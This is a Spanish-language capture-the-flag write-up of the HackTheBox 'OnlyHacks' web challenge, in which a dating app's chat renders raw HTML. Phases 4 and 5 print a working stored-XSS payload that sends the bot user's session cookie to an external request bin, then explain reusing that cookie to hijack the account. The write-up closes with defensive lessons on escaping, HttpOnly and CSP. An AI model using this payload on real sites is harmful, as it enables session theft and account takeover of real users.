Writeup del challenge OnlyHacks (HackTheBox · Web · Muy fácil). Es un reto con temática de app de citas: uno de los "perfiles" en realidad es una cuenta que responde sola e intenta venderte cosas. La idea es robarle la cookie de sesión con un XSS en el chat, entrar a su cuenta y leer la flag en sus mensajes privados.
Fase 1 · Primer vistazo
Al entrar a la web nos recibe la pantalla de login de OnlyHacks. Todavía no tenemos cuenta, así que le damos a Sign Up Now y creamos una: usuario, contraseña, correo, edad y una bio corta.
Una vez registrados entramos a la app y nos aparece algo tipo Tinder: una pila de perfiles que podemos deslizar a la derecha para dar like o a la izquierda para descartar.
Fase 2 · Encontrar al usuario objetivo
Revisando los perfiles, casi todos dicen más o menos lo mismo: que no les llaman mucho la atención las apps de citas. Pero hay una excepción, una usuaria llamada Renata, que en su descripción dice que siempre está en línea.
Ese "siempre en línea" es la pista. En este tipo de retos, un usuario que responde solo suele ser el bot que va a ejecutar lo que le mandemos — justo lo que necesitamos para un XSS.
Le damos like y nos vamos a la sección Matches de la barra de navegación.
Fase 3 · El chat que renderiza HTML
Renata ya nos había hecho match e incluso nos había escrito primero. Le seguimos la conversación y, efectivamente, nos responde... pero enseguida arranca a intentar vendernos "joyería hecha a mano" y otras cosas. Ese es el cebo del reto.
Antes de tirar nada pesado, conviene probar si el chat sanitiza lo que escribimos o si lo muestra tal cual. Mandamos un payload sencillo con una etiqueta <h1>:
<h1>Hello there</h1>
Y bingo: en vez de mostrar el texto plano, el chat lo renderiza como HTML (aparece el "Hello there" en grande). Si interpreta HTML, también va a interpretar JavaScript → tenemos un XSS.
Fase 4 · Robar la cookie con XSS
El objetivo es quedarnos con la cookie de sesión de Renata. Como el reto corre por Internet (no es algo local), la forma más simple de recibir su cookie es montar un Request Bin — un endpoint temporal que registra cualquier petición que le llegue — y apuntar nuestro payload ahí.
Armamos el payload para que, cuando el navegador de Renata renderice nuestro mensaje, mande su cookie a nuestro bin:
<script>document.location='http://requestbin.whapi.cloud/19bdo3d1?c='+document.cookie</script>
La URL del bin es la que te da tu propio Request Bin. Reemplazá la del ejemplo por la tuya.
Fase 5 · Quedarnos con la sesión
Al ratito de enviarlo, refrescamos el bin y vemos dos peticiones. Una es nuestra —porque nuestro propio navegador también renderizó el payload al mostrar el chat— y la otra es la de Renata.
Comparamos: miramos nuestra propia cookie en la web y nos quedamos con la del request que no coincide con la nuestra. Esa es la de ella:
c=session=eyJ1c2Vy...
Ahora solo falta usarla. En la pestaña de OnlyHacks reemplazamos nuestra cookie session por la de Renata, refrescamos la página y... ya estamos dentro como Renata. Entramos a sus DMs y ahí está la flag esperándonos. 🚩
Lecciones
- Escapá o sanitizá todo lo que venga del usuario antes de mostrarlo. El chat renderizaba HTML crudo → XSS almacenado. Con escapar el contenido (o usar una librería que lo haga sola) el
<script>nunca se habría ejecutado. - Cookies de sesión con
HttpOnly. Si la cookie hubiera tenido la banderaHttpOnly,document.cookieno la habría podido leer y el robo no funciona, aunque exista el XSS. Es la defensa clave de este reto. - Una CSP (Content-Security-Policy) que bloquee scripts inline y dominios externos habría cortado tanto la ejecución del
<script>como la salida hacia el Request Bin. - Desconfiá del "siempre en línea". Del lado del atacante fue la pista; del lado de un usuario normal, es el clásico perfil-cebo que te empuja a interactuar sin pensar.